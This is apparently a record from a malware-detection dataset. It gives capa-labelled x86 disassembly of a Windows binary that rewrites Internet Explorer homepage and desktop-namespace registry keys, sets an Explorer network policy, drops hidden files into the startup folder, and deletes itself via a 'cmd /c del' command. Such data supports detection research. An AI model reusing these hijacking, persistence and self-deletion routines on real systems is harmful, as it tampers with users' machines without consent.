joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403a95
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x59c]
sub esp, 0x61c
mov eax, dword [0x422320]
xor eax, ebp
mov dword [ebp + 0x598], eax
push esi
lea eax, [ebp + 0x390]
push edi
push eax
call fcn.00408e90
push eax
xor edi, edi
lea eax, [ebp + 0x390]
push edi
push eax
call fcn.00408e10
lea eax, [ebp + 0x390]
push str.SOFTWAREMicrosoftWindowsCurrent
push eax
call fcn.00408d10
lea eax, [ebp + 0x390]
push str.VersionExplorerDesktopNameSpace_
push eax
call fcn.00408d20
lea eax, [ebp + 0x390]
push eax
mov esi, 0x80000002
push esi
call fcn.00408118
add esp, 0x28
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0x390]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x403c61
push ebx
mov ebx, 0x400
push ebx
lea eax, [ebp - 0x70]
push eax
mov dword [ebp - 0x80], edi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
jmp 0x403c53
push 0x104
mov byte [ebp - 0x71], 0
call fcn.00409397
lea eax, [ebp - 0x70]
push eax
call fcn.0040934c
push str.1f4de370_d627_11d1_ba4f_00a0c91eedba
push eax
mov dword [ebp - 0x7c], eax
call fcn.00409230
add esp, 0x10
test eax, eax
je 0x403c33
push str.450d8fba_ad25_11d0_98a8_0800361b1103
push dword [ebp - 0x7c]
call fcn.00409230
pop ecx
pop ecx
test eax, eax
je 0x403c33
push str.645ff040_5081_101b_9f08_00aa002f954e
push dword [ebp - 0x7c]
call fcn.00409230
pop ecx
pop ecx
test eax, eax
je 0x403c33
push str.e17d4fc0_5564_11d1_83f2_00a0c90dc849
push dword [ebp - 0x7c]
call fcn.00409230
pop ecx
pop ecx
test eax, eax
je 0x403c33
lea eax, [ebp + 0x494]
push eax
call fcn.00408e90
push eax
lea eax, [ebp + 0x494]
push 0
push eax
call fcn.00408e10
lea eax, [ebp + 0x390]
push eax
lea eax, [ebp + 0x494]
push eax
call fcn.00408d20
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp + 0x494]
push eax
call fcn.00408d20
lea eax, [ebp + 0x494]
push eax
push esi
call fcn.00408118
add esp, 0x28
lea eax, [ebp + 0x494]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
je 0x403c2f
lea eax, [ebp + 0x494]
push eax
push esi
call fcn.00403916
pop ecx
pop ecx
lea eax, [ebp + 0x494]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x403c33
mov byte [ebp - 0x71], 1
push dword [ebp - 0x7c]
call fcn.00409371
cmp byte [ebp - 0x71], 0
pop ecx
je 0x403c48
and dword [ebp - 0x80], 0
jmp 0x403c4b
inc dword [ebp - 0x80]
push ebx
lea eax, [ebp - 0x70]
push eax
push dword [ebp - 0x80]
push dword [ebp - 0x78]
call edi
test eax, eax
je 0x403b39
pop ebx
cmp dword [ebp - 0x78], 0
pop edi
pop esi
je 0x403c72
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x598]
xor ecx, ebp
call fcn.00408f1b
add ebp, 0x59c
leave
ret
Function at 0x40435c
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x594]
sub esp, 0x614
mov eax, dword [0x422320]
xor eax, ebp
mov dword [ebp + 0x590], eax
push esi
push edi
lea eax, [ebp + 0x388]
xor edi, edi
push eax
mov dword [ebp - 0x80], edi
call fcn.00408e90
push eax
lea eax, [ebp + 0x388]
push edi
push eax
call fcn.00408e10
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionGroup_Policy_Objects
lea eax, [ebp + 0x388]
push esi
push eax
call fcn.00408d10
lea eax, [ebp + 0x388]
push 0x41b348
push eax
call fcn.00408d20
add esp, 0x20
lea eax, [ebp - 0x7c]
push eax
push esi
mov esi, 0x80000001
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x4044a1
push ebx
mov ebx, 0x400
push ebx
lea eax, [ebp - 0x78]
push eax
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
jmp 0x404493
lea eax, [ebp - 0x78]
push str.User
push eax
call fcn.004090f2
pop ecx
pop ecx
test eax, eax
je 0x404488
lea eax, [ebp + 0x48c]
push eax
call fcn.00408e90
push eax
lea eax, [ebp + 0x48c]
push 0
push eax
call fcn.00408e10
lea eax, [ebp + 0x388]
push eax
lea eax, [ebp + 0x48c]
push eax
call fcn.00408d20
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0x48c]
push eax
call fcn.00408d20
lea eax, [ebp + 0x48c]
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
push eax
call fcn.00408d20
lea eax, [ebp + 0x48c]
push eax
push esi
call fcn.00408118
push 1
push str.NoNetConnectDisconnect
lea eax, [ebp + 0x48c]
push eax
push esi
call fcn.00407f0f
add esp, 0x40
lea eax, [ebp + 0x48c]
push eax
push esi
call fcn.004082dc
pop ecx
pop ecx
inc dword [ebp - 0x80]
push ebx
lea eax, [ebp - 0x78]
push eax
push dword [ebp - 0x80]
push dword [ebp - 0x7c]
call edi
test eax, eax
je 0x4043ee
pop ebx
cmp dword [ebp - 0x7c], 0
pop edi
pop esi
je 0x4044b2
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x590]
xor ecx, ebp
call fcn.00408f1b
add ebp, 0x594
leave
ret
Function at 0x4048e6
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
lea ebp, [esp - 0x18c]
sub esp, 0x20c
mov eax, dword [0x422320]
xor eax, ebp
mov dword [ebp + 0x188], eax
push esi
mov esi, dword [ebp + 0x194]
lea eax, [ebp + 0x84]
push edi
push eax
call fcn.00408e90
push eax
lea eax, [ebp + 0x84]
push 0
push eax
call fcn.00408e10
lea eax, [ebp + 0x84]
push str.CLSID8
push eax
call fcn.00408d20
lea eax, [ebp + 0x84]
push str.71C5
push eax
call fcn.00408d20
lea eax, [ebp + 0x84]
push str.380_42A
push eax
call fcn.00408d20
lea eax, [ebp + 0x84]
push str.0_1069_A
push eax
call fcn.00408d20
lea eax, [ebp + 0x84]
push str.2EA_080
push eax
call fcn.00408d20
lea eax, [ebp + 0x84]
push str.02B30
push eax
call fcn.00408d20
add esp, 0x40
lea eax, [ebp + 0x84]
push str.309D_s
push eax
call fcn.00408d20
lea eax, [ebp + 0x84]
push str.hellOpen
push eax
call fcn.00408d20
lea eax, [ebp + 0x84]
push str.HomePa
push eax
call fcn.00408d20
lea eax, [ebp + 0x84]
push str.geCom
push eax
call fcn.00408d20
lea eax, [ebp + 0x84]
push str.mand
push eax
call fcn.00408d20
push 0x105
call fcn.00409397
add esp, 0x2c
push 0
push 0x26
mov edi, eax
push edi
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x80]
push eax
call fcn.00408e90
push eax
lea eax, [ebp - 0x80]
push 0
push eax
call fcn.00408e10
lea eax, [ebp - 0x80]
push edi
push eax
call fcn.00408d20
lea eax, [ebp - 0x80]
push str.Internet_Exploreriexplore.exe
push eax
call fcn.00408d20
lea eax, [ebp - 0x80]
push 0x41bb6c
push eax
call fcn.00408d20
lea eax, [ebp - 0x80]
push esi
push eax
call fcn.00408d20
lea eax, [ebp + 0x84]
push eax
mov esi, 0x80000000
push esi
call fcn.00408118
lea eax, [ebp - 0x80]
push eax
push 0x41b2d6
lea eax, [ebp + 0x84]
push eax
push esi
call fcn.00407ff0
add esp, 0x48
lea eax, [ebp + 0x84]
push eax
push esi
call fcn.004082dc
pop ecx
pop ecx
test edi, edi
je 0x404a88
push edi
call fcn.00409371
pop ecx
mov ecx, dword [ebp + 0x188]
pop edi
xor ecx, ebp
pop esi
call fcn.00408f1b
add ebp, 0x18c
leave
ret

Function at 0x405253
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
movzx eax, word [ebp + 8]
push ebx
push esi
push dword [ebp + 0xc]
xor esi, esi
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov ebx, eax
cmp ebx, esi
jne 0x405274
xor eax, eax
jmp 0x4052ca
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov dword [ebp + 8], eax
cmp eax, esi
je 0x405270
push edi
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, esi
jne 0x4052a7
xor eax, eax
jmp 0x4052c9
push esi
lea eax, [ebp - 4]
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
push eax
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4052ce
Capabilities:
Delete file
Set file attributes

Disassembly:
push 0x80
push dword [esp + 8]
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push dword [esp + 4]
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
ret

Function at 0x4052e8
Capabilities:
Get common file path
Get startup folder
Set file attributes

Disassembly:
push esi
push 0x105
call fcn.00409397
pop ecx
push 0
push 0x25
mov esi, eax
push esi
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push str.dy_m32_cn.ico
push esi
call fcn.00408d20
push esi
call fcn.004052ce
push esi
push 0x41c730
push 0x276b
call fcn.00405253
add esp, 0x18
push 7
push esi
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
test esi, esi
je 0x40533b
push esi
call fcn.00409371
pop ecx
pop esi
ret

Function at 0x40533d
Capabilities:
Get common file path
Get startup folder
Set file attributes

Disassembly:
push esi
push 0x105
call fcn.00409397
pop ecx
push 0
push 0x25
mov esi, eax
push esi
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push str._t_m32_cn.ico
push esi
call fcn.00408d20
push esi
call fcn.004052ce
push esi
push 0x41c730
push 0x6d
call fcn.00405253
add esp, 0x18
push 7
push esi
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
test esi, esi
je 0x40538d
push esi
call fcn.00409371
pop ecx
pop esi
ret

Function at 0x40538f
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Self delete

Disassembly:
push ebp
lea ebp, [esp - 0x2cc]
sub esp, 0x34c
mov eax, dword [0x422320]
xor eax, ebp
mov dword [ebp + 0x2c8], eax
push esi
mov esi, 0x104
push esi
lea eax, [ebp + 0x1c4]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
je 0x405495
push esi
lea eax, [ebp + 0x1c4]
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_GetShortPathNameA]
test eax, eax
je 0x405495
push esi
lea eax, [ebp - 0x44]
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
test eax, eax
je 0x405495
lea eax, [ebp + 0xc0]
push str._c_del
push eax
call fcn.00408d10
lea eax, [ebp + 0x1c4]
push eax
lea eax, [ebp + 0xc0]
push eax
call fcn.00408d20
lea eax, [ebp + 0xc0]
push str.___nul
push eax
call fcn.00408d20
and dword [ebp - 0x78], 0
and dword [ebp - 0x68], 0
and dword [ebp - 0x64], 0
add esp, 0x18
lea eax, [ebp - 0x44]
mov dword [ebp - 0x70], eax
lea eax, [ebp + 0xc0]
push pe_nt_image_headers32
mov dword [ebp - 0x6c], eax
pop esi
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], 0x3c
mov dword [ebp - 0x74], str.open
mov dword [ebp - 0x7c], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x405495
push 0xf
call dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.DLL_SetThreadPriority]
push esi
push dword [ebp - 0x48]
mov esi, dword [sym.imp.KERNEL32.DLL_SetPriorityClass]
call esi
push 0x100
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call esi
mov ecx, dword [ebp + 0x2c8]
xor ecx, ebp
pop esi
call fcn.00408f1b
add ebp, 0x2cc
leave
ret
Function at 0x4054ab
Capabilities:
Create process on windows

Disassembly:
push ebp
lea ebp, [esp - 0x88]
sub esp, 0x108
mov eax, dword [0x422320]
xor eax, ebp
mov dword [ebp + 0x84], eax
push esi
push edi
mov edi, dword [ebp + 0x90]
lea eax, [ebp - 0x80]
push eax
call fcn.00408e90
push eax
xor esi, esi
lea eax, [ebp - 0x80]
push esi
push eax
call fcn.00408e10
lea eax, [ebp - 0x80]
push 0x41c7a4
push eax
call fcn.00408d20
lea eax, [ebp - 0x80]
push 0x41c7a0
push eax
call fcn.00408d20
lea eax, [ebp - 0x80]
push 0x41c79c
push eax
call fcn.00408d20
lea eax, [ebp - 0x80]
push 0x41c798
push eax
call fcn.00408d20
lea eax, [ebp - 0x80]
push str.w.141
push eax
call fcn.00408d20
lea eax, [ebp - 0x80]
push 0x41c78c
push eax
call fcn.00408d20
add esp, 0x40
lea eax, [ebp - 0x80]
push 0x41c788
push eax
call fcn.00408d20
lea eax, [ebp - 0x80]
push str._rrrr
push eax
call fcn.00408d20
lea eax, [ebp - 0x80]
push str..asp_
push eax
call fcn.00408d20
lea eax, [ebp - 0x80]
push 0x41c774
push eax
call fcn.00408d20
lea eax, [ebp - 0x80]
push edi
push eax
call fcn.00408d20
add esp, 0x28
push 1
push esi
lea eax, [ebp - 0x80]
push eax
push str.IEXPLORE.EXE
push str.open
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.0040270d
call fcn.00404edf
call fcn.00404dec
call fcn.004085ae
call fcn.004052e8
call fcn.0040533d
push esi
push esi
push esi
push 0x8000000
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
call fcn.0040538f
pop edi
pop esi
mov ecx, dword [ebp + 0x84]
xor ecx, ebp
call fcn.00408f1b
add ebp, 0x88
leave
ret

Function at 0x4055e6
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x422320]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
call fcn.00404fe4
lea eax, [ebp - 0x20c]
xor esi, esi
push eax
mov dword [ebp - 0x210], esi
call fcn.00408e90
push eax
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00408e10
lea eax, [ebp - 0x108]
push eax
call fcn.00408e90
push eax
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.00408e10
lea eax, [ebp - 0x210]
push esi
push eax
call section..text
add esp, 0x28
push 0x30
push 0x41c7f0
push 0x41c7a8
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
push esi
push esi
lea eax, [ebp - 0x20c]
push eax
push str.iexplore.exe
push str.open
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea eax, [ebp - 0x108]
push eax
call fcn.004054ab
pop ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
or eax, 0xffffffff
pop esi
call fcn.00408f1b
leave
ret 0x10
Function at 0x407f0f
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 8]
push eax
xor esi, esi
lea eax, [ebp - 4]
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x407f6e
lea eax, [ebp - 4]
push eax
push 0x2001f
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x407f6e
push 4
lea eax, [ebp + 0x14]
push eax
push 4
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
neg esi
sbb esi, esi
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret

Function at 0x407f7c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 8]
push eax
xor esi, esi
lea eax, [ebp - 4]
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x407fe2
lea eax, [ebp - 4]
push eax
push 0x2001f
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x407fe2
push dword [ebp + 0x14]
call fcn.00408e90
pop ecx
push eax
push dword [ebp + 0x14]
push 1
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
neg esi
sbb esi, esi
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret

Function at 0x407ff0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
xor esi, esi
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x408041
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x408041
push dword [ebp + 0x14]
call fcn.00408e90
pop ecx
push eax
push dword [ebp + 0x14]
push 1
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
mov esi, eax
neg esi
sbb esi, esi
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret
Function at 0x40804f
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 8]
push eax
xor esi, esi
lea eax, [ebp - 4]
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4080b5
lea eax, [ebp - 4]
push eax
push 0x2001f
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4080b5
push dword [ebp + 0x14]
call fcn.00408e90
pop ecx
push eax
push dword [ebp + 0x14]
push 2
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
neg esi
sbb esi, esi
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret

Function at 0x4080c3
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push dword [ebp + 0xc]
mov dword [ebp - 8], 0x104
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40810a
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x14]
lea eax, [ebp - 0xc]
push eax
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40810a
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret

Function at 0x4084a1
Capabilities:
Get common file path
Read .ini file

Disassembly:
push ebp
lea ebp, [esp - 0x90]
sub esp, 0x110
mov eax, dword [0x422320]
xor eax, ebp
mov dword [ebp + 0x8c], eax
push ebx
push esi
push edi
mov esi, 0x104
push esi
call fcn.0040a059
pop ecx
xor edi, edi
push edi
push 0x1a
push eax
push edi
mov dword [ebp - 0x7c], eax
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x78]
push eax
call fcn.00408e90
push eax
lea eax, [ebp - 0x78]
push edi
push eax
call fcn.00408e10
push dword [ebp - 0x7c]
lea eax, [ebp - 0x78]
push eax
call fcn.00408d20
lea eax, [ebp - 0x78]
push str.AA52A42D0FE8.ini
push eax
call fcn.00408d20
push 0x64
call fcn.0040a059
add esp, 0x24
lea ecx, [ebp - 0x78]
push ecx
push esi
push eax
push 0x41b2d6
mov ebx, str.State
push ebx
mov edi, str.Date
push edi
mov dword [ebp - 0x80], eax
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
mov esi, 0x41b694
push esi
push dword [ebp - 0x80]
call fcn.0040b12a
pop ecx
pop ecx
test eax, eax
jne 0x408568
cmp dword [ebp - 0x80], eax
je 0x408555
push dword [ebp - 0x80]
call fcn.00409fc0
pop ecx
cmp dword [ebp - 0x7c], 0
je 0x408564
push dword [ebp - 0x7c]
call fcn.00409fc0
pop ecx
xor eax, eax
jmp 0x408596
lea eax, [ebp - 0x78]
push eax
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStringA]
cmp dword [ebp - 0x80], 0
je 0x408584
push dword [ebp - 0x80]
call fcn.00409fc0
pop ecx
cmp dword [ebp - 0x7c], 0
je 0x408593
push dword [ebp - 0x7c]
call fcn.00409fc0
pop ecx
xor eax, eax
inc eax
mov ecx, dword [ebp + 0x8c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408f1b
add ebp, 0x90
leave
ret
Function at 0x408f1b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x422320]
jne 0x408f25
repz ret
jmp fcn.0040b72b

Function at 0x418ae2
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040cf35
and dword [ebp - 4], 0
cmp dword [0x423e68], 0
mov ebx, eax
jne 0x418b93
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x418c44
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x418c44
push eax
call fcn.0040cec3
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x423e68], eax
call esi
push eax
call fcn.0040cec3
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x423e6c], eax
call esi
push eax
call fcn.0040cec3
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x423e70], eax
call esi
push eax
call fcn.0040cec3
pop ecx
mov dword [0x423e78], eax
test eax, eax
je 0x418b93
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040cec3
pop ecx
mov dword [0x423e74], eax
mov eax, dword [0x423e74]
cmp eax, ebx
je 0x418beb
cmp dword [0x423e78], ebx
je 0x418beb
push eax
call fcn.0040cf3e
push dword [0x423e78]
mov esi, eax
call fcn.0040cf3e
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x418beb
test edi, edi
je 0x418beb
call esi
test eax, eax
je 0x418be2
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x418be2
test byte [ebp - 0xc], 1
jne 0x418beb
or dword [ebp + 0x10], 0x200000
jmp 0x418c24
mov eax, dword [0x423e6c]
cmp eax, ebx
je 0x418c24
push eax
call fcn.0040cf3e
pop ecx
test eax, eax
je 0x418c24
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x418c24
mov eax, dword [0x423e70]
cmp eax, ebx
je 0x418c24
push eax
call fcn.0040cf3e
pop ecx
test eax, eax
je 0x418c24
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x423e68]
call fcn.0040cf3e
pop ecx
test eax, eax
je 0x418c44
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x418c46
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402ea9
Capabilities:
Delete registry key
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, esi
lea eax, [ebp - 4]
and esi, 0x300
push eax
mov eax, esi
and edi, 1
or al, 9
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004064d5
xor ebx, ebx
cmp eax, ebx
jne 0x402f8c
test byte [ebp + 0x10], 2
je 0x402f0a
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x214]
mov dword [ebp - 8], ebx
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
cmp eax, 0x103
jne 0x402f71
lea eax, [ebp - 0x214]
push 0x105
push eax
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
jmp 0x402f46
test edi, edi
jne 0x402f71
push dword [ebp + 0x10]
lea eax, [ebp - 0x214]
push eax
push dword [ebp - 4]
call fcn.00402ea9
test eax, eax
jne 0x402f4f
lea eax, [ebp - 0x214]
push 0x105
push eax
push edi
push dword [ebp - 4]
call ebx
test eax, eax
je 0x402f1f
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.00406a35
test eax, eax
jne 0x402f81
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
jmp 0x402f8c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0x3eb
jmp 0x402f8c
push 0
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x406113
Capabilities:
Contain obfuscated stackstrings

Disassembly:
je 0x40613a
lea eax, [ebp - 0x714]
push eax
call fcn.004040b4
pop ecx
push eax
push dword [ebp - 0x3a4]
push dword [ebp + 0x14]
call fcn.00404069
add esp, 0xc
or al, 0x89
invalid
test ah, bh
invalid
invalid
cmp dword [ebp - 0x37c], 0
je 0x406145
jmp 0x40614a
jmp 0x405a46

Function at 0x406428
Capabilities:
Move file

Disassembly:
push 5
push dword [esp + 0xc]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x40644b
push dword [esp + 8]
push dword [esp + 8]
call fcn.004062ae
pop ecx
pop ecx
inc dword [0x42a2f0]
ret 8

Function at 0x406536
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp + 0x18]
push esi
push eax
mov eax, dword [ebp + 0x18]
neg eax
sbb eax, eax
mov dword [ebp - 4], 0x800
and eax, 0x100
or eax, 0x20019
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004064d5
mov esi, dword [ebp + 0x14]
test eax, eax
jne 0x4065a6
lea eax, [ebp - 4]
push edi
push eax
lea eax, [ebp + 0xc]
push esi
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp + 0x18]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
and word [esi + 0x7fe], 0
test edi, edi
pop edi
jne 0x4065a6
cmp dword [ebp + 0xc], 1
je 0x4065aa
cmp dword [ebp + 0xc], 2
je 0x4065aa
and word [esi], 0
pop esi
leave
ret 0x14